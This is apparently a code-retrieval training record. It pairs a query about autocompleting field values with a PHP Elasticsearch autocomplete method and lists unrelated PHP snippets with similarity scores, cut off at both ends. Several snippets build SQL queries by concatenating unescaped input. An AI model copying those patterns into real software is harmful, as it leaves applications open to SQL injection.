openpopup(\\'/blocks/php_report/lib/run_schedule_popup.php?scheduleids=' . urlencode(json_encode($scheduleids)) . '\\', \\'runjobsnow\\', \\'menubar=0,location=0,scrollbars,status,resizable,width=400,height=500\\', 0);\n });\n </script>';\n }\n }", "function ajax_jobStatus()\n{\n\n $cc = new CapabilityCheck('jobStatus');\n if (!$cc->checkCapability()) {\n return;\n }\n\n check_ajax_referer('CPWP');\n\n $cpjm = new CPJobManager('jobStatus', $_POST);\n $cpjm->RunJob();\n}", "public function requestRun()\n {\n }", "function doTheLargeTask(){\n echo \"Step A Done<br>\";\n echo \"Step B Done<br>\";\n echo \"Step C Done<br>\";\n echo \"Step D Done<br>\";\n echo \"Step E Done<br>\";\n echo \"Step F Done<br>\";\n}", "public function masterRedmineCronJob()\r\n {\r\n //GET All trackers \r\n $allTracker = $this->client->api('tracker')->all(array('limit'=>1000));\r\n foreach ($allTracker['trackers'] as $key=>$tracker)\r\n {\t\r\n $this->addTracker($tracker);\r\n }\r\n //GET All user roles \r\n $allRole = $this->client->api('role')->all(array('limit' => 1000)); \r\n foreach ($allRole['roles'] as $key=>$role)\r\n {\r\n $this->addUserRole($role);\r\n }\r\n //GET All issue status \r\n $allStatus = $this->client->api('issue_status')->all(array('limit' => 1000));\r\n foreach($allStatus['issue_statuses'] as $key=>$status)\r\n {\r\n $this->addStatus($status);\r\n }\r\n }", "abstract public function run();" ]
[ "0.75895727", "0.75441104", "0.75441104", "0.73034376", "0.73034376", "0.66246176", "0.65890807", "0.653343", "0.6501524", "0.64680475", "0.64510316", "0.63908386", "0.6365013", "0.6365013", "0.6364617", "0.6363877", "0.6339361", "0.6329229", "0.6311362", "0.62583107", "0.62398136", "0.6217923", "0.6140922", "0.611941", "0.6091158", "0.60673517", "0.60659623", "0.6064316", "0.6029602", "0.60124576", "0.59564275", "0.5943391", "0.5937204", "0.591528", "0.5905997", "0.5899785", "0.58990395", "0.5898632", "0.58985275", "0.58887094", "0.5886537", "0.5882001", "0.58634967", "0.5861643", "0.5861325", "0.5848006", "0.58414334", "0.58198607", "0.58140016", "0.5802398", "0.5791032", "0.5791032", "0.57831085", "0.5776771", "0.5767257", "0.5764601", "0.571151", "0.56792426", "0.5677893", "0.56730247", "0.56581193", "0.56544226", "0.56479174", "0.5638556", "0.561602", "0.5614282", "0.56061435", "0.5599659", "0.5594298", "0.55933094", "0.5592467", "0.55857617", "0.55844885", "0.5578141", "0.557668", "0.5574612", "0.556865", "0.5568221", "0.5557213", "0.55486804", "0.55486804", "0.55486804", "0.55486804", "0.55486804", "0.55486804", "0.55486804", "0.55486804", "0.55486804", "0.55486804", "0.55486804", "0.55486804", "0.55486804", "0.55486804", "0.55486804", "0.55486804", "0.554539", "0.5543073", "0.5520863", "0.55141574", "0.5509391", "0.550572" ]
0.0
-1
Given a field and an input query, return a list of values which could possibly be what the user wants to insert. If the query is empty, return the most common values.
public function autocompleteFieldContent(Field $field, string $q): array { $size = 20; if ('' === $q) { return current($this->aggregateMostCommonValues([$field], $size)); } $fieldName = $field->getName(); $response = $this->client->search([ 'index' => $this->indexName, 'type' => $this->typeName, 'body' => [ 'query' => [ 'match_phrase_prefix' => [ $fieldName => $q, ], ], 'size' => $size, '_source' => false, 'highlight' => [ 'pre_tags' => [''], 'post_tags' => [''], 'fields' => [ $fieldName => new \stdClass(), ], ], ], ]); $results = []; foreach ($response['hits']['hits'] as $hit) { if (!isset($hit['highlight'])) { continue; } $highlights = array_unique($hit['highlight'][$fieldName]); foreach ($highlights as $highlight) { if (!in_array($highlight, $results)) { $results[] = $highlight; } } } return $results; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function cfdef_prepare_list_distinct_values( array $p_field_def ) {\n\tdb_param_push();\n\t$t_query = 'SELECT possible_values FROM {custom_field} WHERE id=' . db_param();\n\t$t_result = db_query( $t_query, array( $p_field_def['id'] ) );\n\n\t$t_row = db_fetch_array( $t_result );\n\tif( !$t_row ) {\n\t\treturn false;\n\t}\n\n\t$t_possible_values = custom_field_prepare_possible_values( $t_row['possible_values'] );\n\t$t_values_arr = explode( '|', $t_possible_values );\n\t$t_return_arr = array();\n\n\tforeach( $t_values_arr as $t_option ) {\n\t\tarray_push( $t_return_arr, $t_option );\n\t}\n\treturn $t_return_arr;\n}", "function getvalMultiple($con,$table,$field,$where,$space)\n{\n\tif($where != \"\")\n\t $sql = \"select $field from $table where $where\";\n\telse\n\t $sql = \"select $field from $table\";\n\t \n\t//echo $sql;\n\t$getvalue = mysqli_query($con,$sql);\n\t$getval=\"\";\n\twhile($row = mysqli_fetch_row($getvalue))\n\t{\n\t\tif($getval == \"\")\n\t\t$getval = $row[0];\n\t\telse\n\t\t{\n\t\t\tif($space==true)\n\t\t\t$getval .= \", \". $row[0];\n\t\t\telse\n\t\t\t$getval .= \",\". $row[0];\n\t\t}\n\t}\n\treturn $getval;\n}", "function getOptionValuesFromQuery() {\t\t\n\t\t# get the query to execute\n\t\t$conn = Doctrine_Manager::connection(); \n\t\t$query = $conn->fetchRow(\"SELECT querystring FROM lookupquery WHERE name = '\".$this->getName().\"'\");\n\t\t# debugMessage($query); \n\t\tif (isEmptyString($query['querystring'])) {\n\t\t\treturn array(); \n\t\t} else {\n\t\t\treturn getOptionValuesFromDatabaseQuery($query['querystring']);\n\t\t}\n\t}", "public function getAllFieldValues($field)\n {\n $column = $this->repo->getColumnByField($field);\n $result = [];\n for ($this->rewind(); $this->valid(); $this->next()) {\n $result[] = parent::current()[$column];\n }\n\n return array_unique($result);\n }", "function db_GetFieldValues()\n{\n // Inputs: $db_table, $key, [where]\n\n $numargs = func_num_args();\n $db_table = func_get_arg(0);\n $key = func_get_arg(1);\n $where = ($numargs > 2)? ' WHERE '.func_get_arg(2) : '';\n\n $RESULT = array();\n\n if (empty($key)) {\n return $RESULT;\n }\n\n $query = \"SELECT $key FROM `$db_table`$where GROUP BY $key ORDER BY $key\";\n SetDbQuery('db_GetFieldValues',$query);\n\n $db_query = mysql_query($query);\n\n if (!$db_query) {\n return $RESULT;\n }\n\n while ($row = mysql_fetch_assoc($db_query)) {\n foreach ($row as $key => $value) {\n $RESULT[] = $value;\n }\n }\n\n return $RESULT;\n}", "function requirement_get_distinct_field($project_id, $field, $blank=false) {\n\n global $db;\n\n\t$tbl_req \t\t\t\t\t= REQ_TBL;\n\t$f_req_proj_id\t\t\t\t= $tbl_req .\".\". REQ_PROJECT_ID;\n\t$f_req_id \t\t\t\t\t= $tbl_req .\".\". REQ_ID;\n\t$f_req_unique_id \t\t\t= $tbl_req .\".\". REQ_UNIQUE_ID;\n\n\t$tbl_req_ver\t\t\t\t= REQ_VERS_TBL;\n\t$f_req_ver_uid\t\t\t\t= $tbl_req_ver .\".\". REQ_VERS_UNIQUE_ID;\n\t$f_req_ver_req_id\t\t\t= $tbl_req_ver .\".\". REQ_VERS_REQ_ID;\n\n\t$q = \"\tSELECT DISTINCT ($field)\n\t\t\tFROM $tbl_req\n\t\t\tINNER JOIN $tbl_req_ver\n\t\t\t\tON $f_req_ver_req_id = $f_req_id\n\t\t\tWHERE $field != ''\n\t\t\t\tAND $f_req_proj_id = $project_id\n\t\t\tORDER BY $field ASC\";\n\n $rows = array();\n\n\t$rs = db_query($db, $q);\n\n\twhile($row = db_fetch_row($db, $rs)) {\n\t\t$rows[] = $row[$field];\n\t}\n\n if( $blank == true ) {\n \t$rows[] = \"\";\n }\n\n return $rows;\n}", "public function getSuggestions($field, $value, $limit, $userId)\n {\n //TODO\n }", "function title_query() {\n $names = array();\n\n $result = db_select('fooaggregator_feed', 'f')\n ->fields('f', array('title'))\n ->condition('f.fid', $this->value, 'IN')\n ->execute();\n foreach ($result as $o) {\n $names[] = check_plain($o->title);\n }\n\n return $names;\n }", "public function getFieldValueCounts(string $field): array\n {\n $field = 'tbl.'.$field;\n\n $qb = $this->createQueryBuilder('tbl');\n $results = $qb\n ->select($field)\n ->addSelect($qb->expr()->count($field))\n ->where($qb->expr()->isNotNull($field))\n ->groupBy($field)\n ->orderBy($qb->expr()->asc($field))\n ->getQuery()\n ->getArrayResult();\n\n return array_map(function ($result) {\n return [\n 'value' => current($result),\n 'count' => (int) $result[1],\n ];\n }, $results);\n }", "function Q($query)\n{\n\t$sugest = '';\n\t$count = 0;\n\t$len = strlen($query);\n\tfor($i = $len-1;$i==0;$i--)\n\t{\n\t\tif($query[$i] == \"'\")$count++;\n\t}\n\tif($count%2 != 0){\n\t\t\t$sugest .= \"Sugerencia: Hay un error,no todas las comillas estan bien cerradas\";\n\t\t\treturn $sugest;\n\t\t}\t\n\t/*\n\t * Second, search for references to dates or id, in case of dates check if the value is properly encased in \"'\"\n\t * In case of being a Id value, check if its without \"'\"\n\t * Search for encased values by default\n\t */\n\t \n}", "function mysql_field_type_array( $query ) {\r\n\t\t\t$field = mysql_num_fields( $query );\r\n\t\t\tfor ( $i = 0; $i < $field; $i++ ) {\r\n\t\t\t\t$types[] = mysql_field_type( $query, $i );\r\n\t\t\t}\r\n\t\t\treturn $types;\t\r\n\t\t}", "function variable_fields()\n\t{\n\t\t$vf=$this->variable_fields;\n\n\t\tif (!is_array($vf))\n\t\t{\n\t\t\t//default search field if nothing is selected\n\t\t\treturn array('labl,qstn,catgry');\n\t\t}\n\n\t\t$tmp=NULL;\n\t\tforeach($vf as $field)\n\t\t{\n\t\t\tif (in_array($field,$this->variable_allowed_fields))\n\t\t\t{\n\t\t\t\t$tmp[]=$field;\n\t\t\t}\n\t\t}\n\n\t\t//no allowed fields found\n\t\tif ($tmp==NULL)\n\t\t{\n\t\t\treturn array('labl');\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn $tmp;\n\t\t}\n\t}", "function processInputToEnsureUniqueFieldEach($totalFormInputs=false, $fieldWhichMustBeUnique=false, $valueOfInputForFieldThatMustBeUnique=false) {\n // field till we have a unique value for this field. \n\n global $controller; \n\n\tif (is_array($totalFormInputs) && $fieldWhichMustBeUnique) {\n reset($totalFormInputs); \n\t\twhile (list($whichDatabaseTable, $arrayOfFormInputArrays) = each($totalFormInputs)) {\n\t\t\twhile (list($idOfThisEntry, $formInputs) = each($arrayOfFormInputArrays)) {\n\t\t\t\tif (!$valueOfInputForFieldThatMustBeUnique) $valueOfInputForFieldThatMustBeUnique = $formInputs[$fieldWhichMustBeUnique];\n\t\t\t\t$query = \"SELECT $fieldWhichMustBeUnique FROM $whichDatabaseTable WHERE $fieldWhichMustBeUnique='$valueOfInputForFieldThatMustBeUnique' \";\n\t\t\t\t$result = $controller->command(\"makeQuery\", $query, \"processInputToEnsureUniqueField\"); \n\t\t\t\tif ($result) {\n\t\t\t\t\t// 06-28-08 - if the owner is editing a group they already created, then\n\t\t\t\t\t// there will be one group in the database with the name of the current group - \n\t\t\t\t\t// that is, the current group will be in the database. Otherwise there should be\n\t\t\t\t\t// zero entries in the database with this name. \n\t\t\t\t\tif ($idOfThisEntry) {\n\t\t\t\t\t\t// 05-17-08 - we will loop recursively till the field has a unique value\n\t\t\t\t\t\tif (mysql_num_rows($result) > 1) {\n\t\t\t\t\t\t\t$valueOfInputForFieldThatMustBeUnique .= rand(0, 99); \n \t\t\t\t\t\t\t$valueOfInputForFieldThatMustBeUnique = $controller->command(\"processInputToEnsureUniqueFieldEach\", $totalFormInputs, $fieldWhichMustBeUnique, $valueOfInputForFieldThatMustBeUnique); \n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// 05-17-08 - we will loop recursively till the field has a unique value\n\t\t\t\t\t\tif (mysql_num_rows($result) > 0) {\n\t\t\t\t\t\t\t$valueOfInputForFieldThatMustBeUnique .= rand(0, 99); \n \t\t\t\t\t\t\t$valueOfInputForFieldThatMustBeUnique = $controller->command(\"processInputToEnsureUniqueFieldEach\", $totalFormInputs, $fieldWhichMustBeUnique, $valueOfInputForFieldThatMustBeUnique); \n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} \n\t\t\t\t$formInputs[$fieldWhichMustBeUnique] = $valueOfInputForFieldThatMustBeUnique;\n\t\t\t\t$arrayOfFormInputArrays[$idOfThisEntry] = $formInputs;\n\t\t\t}\n\t\t}\n\t}\n\treturn $valueOfInputForFieldThatMustBeUnique;\n\n}", "function axWFactoryDomainQuery() {\r\n\tglobal $wgRequest;\r\n\r\n\t$query = $wgRequest->getVal( \"term\", false );\r\n\r\n\t$return = array(\r\n\t\t\"term\" => $query,\r\n\t\t\"suggestions\" => array(),\r\n\t\t\"data\" => array()\r\n\t);\r\n\r\n\t$exact = array( \"suggestions\" => array(), \"data\" => array() );\r\n\t$match = array( \"suggestions\" => array(), \"data\" => array() );\r\n\r\n\t// query terms: wik, wiki, wikia take too much memory\r\n\t// and end up with fatal errors\r\n\tif ( substr(\"wikia\",0,strlen((string)$query)) === $query ) {\r\n\t\t$query = false;\r\n\t}\r\n\r\n\tif( $query ) {\r\n\t\t/**\r\n\t\t * maybe not very effective but used only by staff anyway\r\n\t\t */\r\n\t\t$query = strtolower( $query );\r\n\t\t$dbr = WikiFactory::db( DB_SLAVE );\r\n\t\t$sth = $dbr->select(\r\n\t\t\tarray( \"city_domains\" ),\r\n\t\t\tarray( \"city_id\", \"city_domain\" ),\r\n\t\t\tarray(\r\n\t\t\t\t\"city_domain not like 'www.%'\",\r\n\t\t\t\t\"city_domain not like '%.wikicities.com'\",\r\n\t\t\t\t\"city_domain like '%{$query}%'\"\r\n\t\t\t),\r\n\t\t\t__METHOD__\r\n\t\t);\r\n\r\n\t\twhile( $domain = $dbr->fetchObject( $sth ) ) {\r\n\t\t\t$domain->city_domain = strtolower( $domain->city_domain );\r\n\t\t if( preg_match( \"/^$query/\", $domain->city_domain ) ) {\r\n\t\t\t\t$exact[ \"suggestions\" ][] = $domain->city_domain;\r\n\t\t\t\t$exact[ \"data\" ][] = $domain->city_id;\r\n\t\t }\r\n\t\t\telseif( preg_match( \"/$query/\", $domain->city_domain ) ){\r\n\t\t\t\t$match[ \"suggestions\" ][] = $domain->city_domain;\r\n\t\t\t\t$match[ \"data\" ][] = $domain->city_id;\r\n\t\t\t}\r\n\t\t}\r\n\t\t$return[ \"suggestions\" ] = array_merge( $exact[ \"suggestions\" ], $match[ \"suggestions\" ] );\r\n\t\t$return[ \"data\" ] = array_merge( $exact[ \"data\" ], $match[ \"suggestions\" ] );\r\n\t}\r\n\t// $.ui.autocomplete expects it to be returned as if there is just suggestions, leaving the rest for debug though\r\n\treturn json_encode( $return[\"suggestions\"] );\r\n}", "private function addValueInListQuery($key,$value){\n /// \\param[in] $key The key (fieldname)\n /// \\param[in] $value The value(s) of the fieldname\n /// \\return a part of the query or nothing\n global $ORIONDB_DB;\n \n if(($key != \"\") && ($value != \"\")){\n if($this->_queryUnchanged[$this->_numberOfRecursions]){\n $returnQuery = \" WHERE \";\n $this->_queryUnchanged[$this->_numberOfRecursions] = false;\n }\n else {\n $returnQuery = \" AND \"; \n }\n $returnQuery .= $ORIONDB_DB->cleansql($key) . \" in (\" . $ORIONDB_DB->cleansql($value) . \")\";\n return $returnQuery;\n }\n}", "function title_query() {\n $titles = array();\n\n $result = db_query(\"SELECT f.title FROM {aggregator_feed} f WHERE f.fid IN (:fids)\", array(':fids' => $this->value));\n foreach ($result as $term) {\n $titles[] = check_plain($term->title);\n }\n return $titles;\n }", "protected function buildFields(Query $query)\n {\n return count($query->getFields()) > 0 ? implode(', ', $query->getFields()) : '*';\n }", "function mysql_field_array( $query ) {\r\n\t\t\t$field = mysql_num_fields( $query );\r\n\t\t\tfor ( $i = 0; $i < $field; $i++ ) {\r\n\t\t\t\t$names[] = mysql_field_name( $query, $i );\r\n\t\t\t}\r\n\t\t\treturn $names;\t\r\n\t\t}", "function test_general_entries_search_on_dynamic_field_values() {\n\t\t// Single word is searched. One matching entry should be found.\n\t\t$search_string = 'Utah';\n\t\t$items = self::generate_and_run_search_query( 'all_field_types', $search_string );\n\t\t$msg = 'A general search for ' . $search_string . ' in entry metas table';\n\t\tself::run_entries_found_tests( $msg, $items, 1, array( 'steph_entry_key' ) );\n\t}", "function distinct_value($conn,$column_name,$table_name,$where)\r\n\t{\r\n\t$result=array();\r\n\t\t$qry=\"SELECT DISTINCT `$column_name` as dis_value FROM `$table_name` $where\";\r\n\t\t$res=mysql_query($qry);\r\n\t while($row=mysql_fetch_array($res))\r\n\t\t{\r\n\t\t$result[]=$row['dis_value'];\r\n\t\t}\r\n\t\t\r\n\t\treturn $result;\r\n\t}", "public function getFieldValues($fieldName)\n {\n $lastId = 0;\n $finished = false;\n $pageSize = 500;\n $result = [];\n\n do {\n $response = $this->callSql(\"\n SELECT TOP $pageSize\n *\n FROM\n DPCODES\n WHERE\n field_name = '$fieldName'\n AND\n code_id > $lastId\n ORDER BY\n code_id\n \");\n\n if (is_array($response)) {\n $recordsReturned = count($response);\n if ($recordsReturned > 0) {\n $result += $response;\n\n if ($recordsReturned < $pageSize) {\n $finished = true;\n } else {\n $lastId = end($response)->code_id;\n }\n } else {\n $finished = true;\n }\n } else {\n $finished = true;\n }\n } while (!$finished);\n\n return $result;\n }", "public function havingIsNull($field);", "function query_list($value_col,$key_col='',$filter=array(),$order='')\n\t{\n\t\tstatic $cache = array();\n\n\t\t$cache_key = serialize($value_col).'-'.$key_col.'-'.serialize($filter).'-'.$order;\n\n\t\tif (isset($cache[$cache_key]))\n\t\t{\n\t\t\treturn $cache[$cache_key];\n\t\t}\n\t\tif (!is_array($value_col)) $value_col = array($value_col);\n\n\t\t$cols = $ret = array();\n\t\tforeach($value_col as $key => $col)\n\t\t{\n\t\t\t$matches = null;\n\t\t\t$cols[$key] = preg_match('/AS ([a-z_0-9]+)$/i',$col,$matches) ? $matches[1] : $col;\n\t\t}\n\t\tif (!$order) $order = current($cols);\n\n\t\tif (($search =& $this->search(array(),($key_col ? $key_col.',' : 'DISTINCT ').implode(',',$value_col),$order,'','',false,'AND',false,$filter)))\n\t\t{\n\t\t\tif (preg_match('/AS ([a-z_0-9]+)$/i',$key_col,$matches))\n\t\t\t{\n\t\t\t\t$key_col = $matches[1];\n\t\t\t}\n\t\t\telseif (!$key_col)\n\t\t\t{\n\t\t\t\t$key_col = current($cols);\n\t\t\t}\n\t\t\tforeach($search as $row)\n\t\t\t{\n\t\t\t\tif (count($cols) > 1)\n\t\t\t\t{\n\t\t\t\t\t$data = array();\n\t\t\t\t\tforeach($cols as $key => $col)\n\t\t\t\t\t{\n\t\t\t\t\t\t$data[$key] = $row[$col];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$data = $row[current($cols)];\n\t\t\t\t}\n\t\t\t\tif ($data) $ret[$row[$key_col]] = $data;\n\t\t\t}\n\t\t}\n\t\treturn $cache[$cache_key] =& $ret;\n\t}", "function countQuests($query)\r\n {\r\n $sql = \"SELECT otherOpt, COUNT(*) as broj FROM `phone_order_calls`\r\n WHERE {$query}\r\n GROUP BY otherOpt\";\r\n $results=$this->conn->fetchAll($sql);\r\n return $results;\r\n }", "public function get_all($value='', $field='', $order_by='', $field_type='%d', $order_direction='ASC',$only_fields=array()) {\r\n\t \tglobal $wpdb;\r\n\t \t\r\n\t \tif ($field=='')\r\n\t \t\t$field = 'id';\r\n\t \t\r\n\t \t// Special cases for ordering that requires innerjoins\r\n\t \t$extra_sql = '';\r\n\t \t// Special case for categories\r\n\t \tif ($order_by=='term_id') {\r\n\t \t\t// \"left outer join\" is used to take in care the case of category ID \"0\"\r\n\t \t\t$extra_sql = \"left outer join `$wpdb->terms` on (`$wpdb->terms`.term_id=`$this->table`.term_id)\";\r\n\t \t\t$order_by = \"`$wpdb->terms`.name\";\r\n\t \t}\r\n\t \telseif ($order_by!='') {\r\n\t \t\t// Set order by ` where is a simple column\r\n\t \t\t$order_by = \"`$order_by`\";\r\n\t \t}\r\n\t \t\t\r\n\t \tif ($order_by!='') $order_by = \" order by $order_by $order_direction\";\r\n\t \t\r\n\t \t// Specify the fields to return\r\n\t \tif (count($only_fields)==0) {\r\n\t \t\t// Add\r\n\t \t\t$fields_to_return = \"`$this->table`.*\";\r\n\t \t}\r\n\t \telse {\r\n\t \t\t// Only specified\r\n\t \t\t$fields_to_return = \"`$this->table`.\" . implode(\",`$this->table`.\",$only_fields);\t \t\t\r\n\t \t}\r\n\t \t\t\r\n\t \tif ($value!=='' && $value!==null)\r\n\t \t{\r\n\t \t\tif ($field_type=='%d') // %d\r\n\t\t \t\t$query = $wpdb->prepare( \"SELECT $fields_to_return from `$this->table` $extra_sql WHERE `$this->table`.`$field` = %d $order_by\", $value );\r\n\t\t \telse // %s\r\n\t\t \t\t$query = $wpdb->prepare( \"SELECT $fields_to_return from `$this->table` $extra_sql WHERE `$this->table`.`$field` = %s $order_by\", $value );\r\n\t \t}\r\n\t \telse \r\n\t \t\t$query = \"SELECT $fields_to_return from `$this->table` $extra_sql $order_by\";\r\n\t \t\r\n\t \t\r\n\t \t$results = $wpdb->get_results($query);\r\n\t\t\t\r\n\t \t// Parse returned fields to strip slashes\r\n\t \t$parsed_results = array();\r\n\t \tforeach ($results as $result) {\r\n\t \t\t$tmp_result = (array) $result;\r\n\t\t \t$parsed_result = WPPostsRateKeys_Validator::parse_array_output($tmp_result);\r\n\t\t \t$parsed_result = (object) $parsed_result;\r\n\t\t \t\r\n\t\t \t$parsed_results[] = $parsed_result;\r\n\t \t}\r\n\t \t// End: Parse returned fields to strip slashes\r\n\t \t\r\n\t \treturn $parsed_results;\r\n\t }", "abstract protected function filterFieldvalue();", "public static function _find_duplicity($fields){\n \n $db = new Database();\n $cond = array('incident_active = 1');\n\n if (isset($fields['date'])){\n $date_comp = $fields['date'];\n $yyyy = date('Y',strtotime($date_comp));\n $mm = date('m',strtotime($date_comp))*1;\n $dd = date('d',strtotime($date_comp))*1;\n \n $cond[] = \"YEAR(incident_date) = $yyyy AND MONTH(incident_date) = $mm AND DAY(incident_date) = $dd \";\n\n }\n\n if (isset($fields['category'])){\n $cond[] = 'category_id IN ('.implode(',',$fields['category']).')';\n }\n\n if (isset($fields['lat'])){\n // Field latitude in location table is double, 6 decimals\n $cond[] = ' latitude = '.number_format($fields['lat'],6);\n }\n \n if (isset($fields['lon'])){\n // Field latitude in location table is double, 6 decimals\n $cond[] = ' longitude = '.number_format($fields['lon'],6);\n }\n \n $sql = 'SELECT * FROM incident INNER JOIN incident_category ON incident.id = incident_category.incident_id INNER JOIN location ON incident.location_id = location.id WHERE '.implode(' AND ',$cond);\n $dups = $db->query($sql);\n\n return $dups;\n }", "protected function getAutocompleteFields(QueryInterface $query) {\n $fl = [];\n $language_ids = $query->getLanguages();\n $field_names = $this->getSolrFieldNamesKeyedByLanguage($language_ids, $query->getIndex());\n // We explicit allow to get terms from twm_suggest. Therefore we call\n // parent::getQueryFulltextFields() to not filter twm_suggest.\n foreach (parent::getQueryFulltextFields($query) as $fulltext_field) {\n $fl[] = array_values($field_names[$fulltext_field]);\n }\n return array_unique(array_merge(...$fl));\n }", "function getAllValues($parm){\r\n\t\tif (DB::isError($dbh = $this->connectDB())) return PEAR::raiseError(\"Error: \".$dbh->getMessage());\r\n\t \r\n\t\t$query = \"SELECT DISTINCT(\".$this->getColumnName($parm).\") FROM \".$this->getTableName();\r\n\t\t$query.= \" ORDER BY \".$this->getColumnName($parm).\" ASC\";\r\n\r\n\t\t$sth = $dbh->prepare($query);\r\n\t\t$result =& $dbh->execute($sth);\r\n\t\tif (PEAR::isError($result)){\r\n\t\t\treturn PEAR::raiseError(\"Error: \".$result->getMessage().\" <br>Query: $query\");\r\n\t\t}\r\n\t\tif($result->numRows()){\r\n\t\t $numRows = $result->numRows();\r\n\t\t $values = array();\r\n \t\tfor ($i = 0; $i < $numRows; $i++){\r\n \t\t\t$arr = array();\r\n \t\t\t$result->fetchInto($arr,DB_FETCHMODE_ASSOC,$i);\r\n \t\t\t$values[] = $arr[$this->getColumnName($parm)];\r\n \t\t}\t\t\t\r\n \t\treturn $values;\r\n\t\t}\t\t\r\n\t\telse{\r\n\t\t\treturn null;\r\n\t\t}\t\r\n\t}", "function _cleanup_input_fields($fields = \"\", $def_value = \"full\") {\n\t\t// Fields are comma-separated string list\n\t\tif (is_string($fields) && false !== strpos($fields, \",\")) {\n\t\t\t$_tmp = array();\n\t\t\tforeach ((array)explode(\",\", $fields) as $_field) {\n\t\t\t\t$_field = trim($_field);\n\t\t\t\tif (!strlen($_field)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t$_tmp[$_field] = $_field;\n\t\t\t}\n\t\t\t$fields = $_tmp;\n\t\t\tunset($_tmp);\n\t\t}\n\t\t// Cleanup fields array\n\t\tif (is_array($fields)) {\n\t\t\t$_tmp = array();\n\t\t\tforeach ((array)$fields as $_field) {\n\t\t\t\t$_field = trim($_field);\n\t\t\t\tif (!strlen($_field)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t$_tmp[$_field] = $_field;\n\t\t\t}\n\t\t\t$fields = $_tmp;\n\t\t\tunset($_tmp);\n\t\t}\n\t\t// Default fields group\n\t\tif (empty($fields) || (!is_array($fields) && !in_array($fields, array_keys($this->_fields_groups)))) {\n\t\t\t$fields = $def_value;\n\t\t}\n\t\t// Remove non-existed fields from query\n\t\tif (is_array($fields)) {\n\t\t\t$avail_fields = $this->_get_avail_fields();\n\t\t\tforeach ((array)$fields as $k => $v) {\n\t\t\t\tif (is_numeric($k) || !isset($avail_fields[$v])) {\n\t\t\t\t\tunset($fields[$k]);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (empty($fields)) {\n\t\t\t\t$fields = $def_value;\n\t\t\t}\n\t\t}\n\t\treturn $fields;\n\t}", "function db_get_fields($query)\n{\n\t$args = func_get_args();\n\t//$__result = call_user_func_array('db_query', $args);\n\n//echo 'args:<br>';\n//echo var_dump($args);\t\n\n\tif ($__result = call_user_func_array('db_query', $args)) {\n\n\t\t$_result = array();\n\t\twhile ($arr = driver_db_fetch_array($__result)) {\n\t\t\t$_result[] = $arr;\n\t\t}\n\n\t\tdriver_db_free_result($__result);\n\n\t\tif (is_array($_result)) {\n\t\t\t$result = array();\n\t\t\tforeach ($_result as $k => $v) {\n\t\t\t\tarray_push($result, reset($v));\n\t\t\t}\n\t\t}\n\n\t}\n\n\treturn is_array($result) ? $result : array();\n}", "public function providerFieldValues()\n {\n return [\n ['non_existent_field', []],\n ['empty_field', []],\n ['empty_field_2', []],\n [\n 'acf_value_field',\n [\n ['test-1' => 'test 1'],\n ['test-1' => 'test 2'],\n ['test-1' => 'test 3'],\n ],\n ],\n [\n 'acf_option_field',\n [\n [\n 'label' => 'test 1',\n 'slug' => 'test-1',\n ],\n [\n 'label' => 'test 2',\n 'slug' => 'test-2',\n ],\n ],\n ],\n ];\n }", "function getvaluebyid($fieldid,$fieldname,$thetable,$theid){\r\n\t$result=\"tradapat\";\r\n\tif($fieldid !==\"\" && $fieldname !==\"\" && $thetable !==\"\" && $theid !==\"\"){\r\n\t\t$qryget=\"select distinct \".$fieldname.\" from \".$thetable.\" where \".$fieldid.\"='\".$theid.\"';\";\r\n\t\t//$qryget=\"select nama from kota where id='\".$theid.\"';\";\r\n\t\t$runitget=mysql_query($qryget);\r\n\t\t$barisget=mysql_fetch_row($runitget);\r\n\t\tif ($barisget){\r\n\t\t\tlist($r1)=$barisget;\r\n\t\t\t$result=$r1;\t\t\t\r\n\t\t\t//$result=\"adakota\";\r\n\t\t}\r\n\t}\r\n\treturn $result;\r\n}", "function getMulti($table_name, $ws, $field = 'false')\n{\n\n if ($field == 'false')\n $field = '*';\n $result = mysqli_query(connect(), \"SELECT $field FROM $table_name WHERE $ws \");\n\n //$r = array();\n while ($row = mysqli_fetch_assoc($result)) {\n $r[] = $row;\n }\n return $r;\n}", "public function getAllFields() {\n\t\t\t// Database Connection\n\t\t\t$db\t\t\t\t= $GLOBALS['db_q'];\n\t\t\t// Initialize variables\n\t\t\t$return\t\t\t= false;\n\t\t\t// Query set up\t\n\t\t\t$table\t\t\t= 'tb_field';\n\t\t\t$select_what\t= 'id, vc_field AS vc_name';\n\t\t\t$conditions\t\t= \"1 ORDER BY vc_field ASC\";\n\t\t\t$return\t\t\t= $db->getAllRows_Arr($table, $select_what, $conditions);\n\t\t\t// Return\n\t\t\treturn $return;\n\t\t}", "function FetchDataByFourField($tableName,$fieldName,$fieldValue,$fieldName2,$fieldValue2,$fieldName3,$fieldValue3,$fieldName4,$fieldValue4)\n{\n $query = $this->db->query(\"Select * from $tableName where $fieldName='\".$fieldValue.\"' and $fieldName2='\".$fieldValue2.\"' and $fieldName3='\".$fieldValue3.\"' and $fieldName4='\".$fieldValue4.\"'\");\n $totalRowsUnique = $query->num_rows();\n if($totalRowsUnique > 0)\n {\n return $query->result_array();\n }\n \n}", "function getDistinct($column,$table)\r{\r\r\tglobal $db_conn;\r\t$q = \"SELECT distinct($column) FROM $table\";\r\t$result = mysql_query($q, $db_conn); \r\tif (mysql_errno()) { printMySqlErrors($q,$_SERVER['SCRIPT_NAME'] . \":\" . __LINE__); }\r\t$answer = Array();\r\twhile ($row = mysql_fetch_assoc($result)) { \r\t\t// skip empty values\r\t\tif ($row[$column] != '') {\r\t\t\t$answer[] = $row[$column]; }}\r\t$nilOffset = array_search('**nil**',$answer);\r\tif ($nilOffset !== false) {\r\t\tarray_splice($answer,$nilOffset,1); }\r\treturn $answer;\r}", "private function populateTrackerFieldValues($field)\n\t{\n\t\t$values = $this->gforge->getTrackerFieldValues($field['field_id']);\n\n\t\tforeach ($values as $value)\n\t\t{\n\t\t\tif (empty($this->fieldValues[$value->element_id]))\n\t\t\t{\n\t\t\t\t$this->fieldValues[$value->element_id] = 